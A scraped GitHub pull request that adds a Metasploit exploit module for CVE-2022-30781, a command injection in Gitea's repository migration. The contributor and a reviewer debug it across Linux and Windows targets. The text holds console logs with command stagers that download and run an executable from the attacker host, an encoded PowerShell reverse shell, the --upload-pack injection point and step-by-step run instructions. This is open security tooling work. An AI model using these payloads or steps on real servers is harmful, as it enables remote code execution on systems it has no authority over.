-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Gitea Git fetch RCE module - CVE-2022-30781 #17021
Add Gitea Git fetch RCE module - CVE-2022-30781 #17021
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @krastanoel for this great module! I left a few comments and suggestions for you to review when you get a chance.
Also, I noticed this module has some similar logics from the other Gitea Hook RCE
module. Methods like get_csrf
, gitea_create_repo
and gitea_login
seem to be similar. I think it would be a good idea to move these to a common library and use it in both modules to avoid code duplication. If you choose to do so, I would recommend to update the other module in a separate PR.
documentation/modules/exploit/unix/webapp/gitea_git_fetch_rce.md
Outdated
Show resolved
Hide resolved
'Privileged' => false, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I believe Gitea can also be installed on Windows and it might be a good idea to add support to this platform too.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah I know this has been bugged me too. Unfortunately I still can't figured out why the module won't work on Windows.
msf6 exploit(multi/http/gitea_git_fetch_rce) > rerun
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/ZkARSaEz01
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/yMxHkTQ/topics
[*] Creating repository "HU6WGuq"
[+] Repository created
[*] Using URL: http://192.168.0.104:8080/XFiSZmubHCz
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\REICBwml.exe http://192.168.0.104:8080/XFiSZmubHCz & %TEMP%\\REICBwml.exe & del%TEMP%\\REICBwml.exe"]
[*] Executing command: powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\REICBwml.exe http://192.168.0.104:8080/XFiSZmubHCz & %TEMP%\REICBwml.exe & del %TEMP%\REICBwml.exe
[*] Command Stager progress - 100.00% done (152/152 bytes)
[*] Migrating repository
[*] Exploit completed, but no session was created.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So it turns out I'm installing the latest Git command line on the Windows testing machine. The git remote add -f master ./
command will fail starting from Git version 2.34.0
and so the git fetch master --upload-pack=<payload>
will not executed. I've document this limitation in the new module documentation.
I'm still unsuccessful using cmdstager
2022/10/03 17:34:57 Completed POST /msf/5nIJrv6SmPe/git-upload-pack 200 OK in 44.8731ms
2022/10/03 17:34:58 ...ns/gitea_uploader.go:674:newPullRequest() [E] Fetch branch from ./ failed: exit status 128 - powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\QHTdSVhQ.exe http://192.168.0.104:8080/oFqDlNI3 & %TEMP%\QHTdSVhQ.exe & del %TEMP%\QHTdSVhQ.exe './': line 0: bg: no job control
powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\QHTdSVhQ.exe http://192.168.0.104:8080/oFqDlNI3 & %TEMP%\QHTdSVhQ.exe & del %TEMP%\QHTdSVhQ.exe './': del:command not found
fatal: Could not read from remote repository.
...
Notice the del: command not found
error, it look like the Powershell command is executed in a different console environment I think, but I'm not sure. I do tried manually defines a command to just write file in the home directory and it works using absolute path like so echo test > c:\\\\users\\\\msf\\\\findme.txt
. I guess the %TMP%
doesn't translate to the full path. The module support :win_cmd
.
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/00e9iwZPNly/topics
[*] Creating repository "y1rX9W"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object ...))"
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49451) at 2022-10-03 17:41:09 +0700
PS C:\Users\msf\Downloads\data\gitea-repositories\msf\00e9iwzpnly.git>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I will test this and let you know if I find the issue. Thanks for the details!
@cdelafuente-r7 Thank you for reviewing the module. I've been away and caught up with some other works but will continue to work on this module I hope that's okay. |
- adjust check method using common lib - handle autocheck false
- adjust create, migrate and delete repository with the common lib
- add command stagers logic - set default uripath
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @krastanoel for refactoring this module! This is really great to have a library for Gitea now. This will be certainly useful for future exploits.
I tested the module against a docker installation and it works great, as long as the payload fit in one request. Using a bigger payload will fail (e.g. a stageless payload like linux/x64/meterpreter_reverse_tcp
). Please see my comments below. I'll also test against a Windows host and check the issue you reported.
In the meantime, I left some comments and suggestions for review.
'Privileged' => false, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I will test this and let you know if I find the issue. Thanks for the details!
Hi @krastanoel , I just wanted to check if you need any help to address the last comments. I believe this module can land quickly after these last changes are made. Also, I tested against Gitea on Windows and confirmed the issue with a newer version of Git. However, I coud not reproduce the
You will also need to handle this target correctly in the code to make sure characters are properly escaped to not break the JSON in the HTTP response. EDIT: It is actually recommended to use |
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
- combine gitea_version into get_gitea_version for the check method - validate empty username
- move cleanup process to its own method and handle the response - remove timeout and http delay option - adjust target type location as code review suggestion
- move repository migration to execute_command. NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review.
- handle cleanup method on manual `check` - adjust targets flavour option - add :win_dropper target and handle the payload delivery NOTE: the Windows dropper target is still unsuccessfull but keep this for further review
Yes, I realize I left out that target, I've added the target now and these are a few notes for you when you try reproduce this.
The Powershell flavor is trying to add
Once you do, pay attention to the target Gitea instance running in the command prompt, you will see In the meantime, the changes requested (minus the stageless payload) is now works well on Linux dropper and command.
Windows command.
|
Thanks for updating this. It looks good to me now. Regarding the issues you reported:
original command:
modified command:
This might not be a solution unless the user is forced to use the Finally, the |
I've just tried this and yes It's still not worked. I modified the module like this.
If the module doesn't
At this point I'm not sure if this implementation should be commit? I would like to ask you first before doing it. I feel like like since this will not worked it should not be commited but user should at least know that using a bigger payload will not worked so I have no idea how to proceed with this one.
Oh wow this was cool! I didn't realize that doing
So I have to replace
The executable was dropped in the repository directory so removing the repository should be done at
I've try to make it random with
Is it okay if we set it in the
|
As I said, I had to substitute FYI, this is the substitutions I used during testing: cmd = cmd.gsub(/%(\w+)%/) {"$#{$1}"}.gsub(/&/) {'&&'}.gsub(/\\/) {'\\\\\\'} BTW, I recommend using In your solution,
This means the payload will be stored in the root directory (
So, this is the big problem here. Your solution is a good idea, but since the web server is threaded it will require implementing complex Thread synchronization with include MonitorMixin
…
def execute_command(cmd, _opts = {})
…
auth_token = rand_text_alphanumeric(6..15)
@payload_delivered = false
@migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)
synchronize do
@payload_delivered_cond.wait_until { @payload_delivered }
gitea_remove_repo(repo_path(@repo_name))
gitea_remove_repo(repo_path(@migrate_repo_name))
print_status("Successfully cleanup repository '#{@repo_name}' and '#{@migrate_repo_name}'")
end
…
def exploit
…
@payload_delivered_cond = new_cond
…
def on_request_uri(cli, req)
…
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
…
send_response(cli, data.to_json)
synchronize do
@payload_delivered = true
@payload_delivered_cond.broadcast
end
… Also, I found out Gitea on linux adds some extra characters (' ./') to each part of the payload being written in the So, that said, I think all of this is not worth the effort, especially if it takes 40 minutes to get the payload ready. A simpler solution would be to not use 'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ :curl, :wget, … ], # add other compatible flavors to the list here
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
} With this you can stay with your previous working implementation, without having to migrate/cleanup each time. |
Also, yes, you can define |
apply suggestion Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
- adjust execute_command method and add logic for :win_dropper target - move cmdstager uripath setting into target case statement - add more cmdstagerflavour for :linux_dropper target - fix lint msftidy
Ah apologize for this my eyes playin tricks on me I have no idea how could I miss the
Oh this is cool I didn't know that the framework could do this. Learn something new, thanks you! |
Thanks @krastanoel for updating this. Everything looks good to me now. I tested against Gitea 1.16.6 both on Linux (Docker) and Windows. I verified a session is obtained each time. I'll go ahead and land it. I added a comment to explain why all theses string substitution are needed on Windows. This can be useful information for future Gitea module development. I'll add a commit myself since it is just a comment. Thanks again for your contribution! Example OutputGitea 1.16.6 on Linux x64 (docker) - Unix Command target (0)
Gitea 1.16.6 Linux x64 (docker) - Linux Dropper target (1)
Gitea 1.16.6 on Windows 11 x64 (docker) - Windows Command target (2)
Gitea 1.16.6 on Windows 11 x64 (docker) - Windows Dropper target (3)
|
Release NotesThis adds an exploit module that leverages a command injection vulnerability in Gitea. Due to an improper escaping of input, it is possible to execute commands on the system abusing the Gitea repository migration process. This vulnerability is identified as CVE-2022-30781 and affects Gitea versions prior to 1.16.7. |
This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version.
Docker installation
Verification
List the steps needed to make sure this thing works
/user/sign_up
and register normal usermsfconsole
use unix/webapp/gitea_git_fetch_rce
set RHOSTS [ips]
set LHOST [lhost]
set USERNAME [username]
set PASSWORD [password]
run
Demo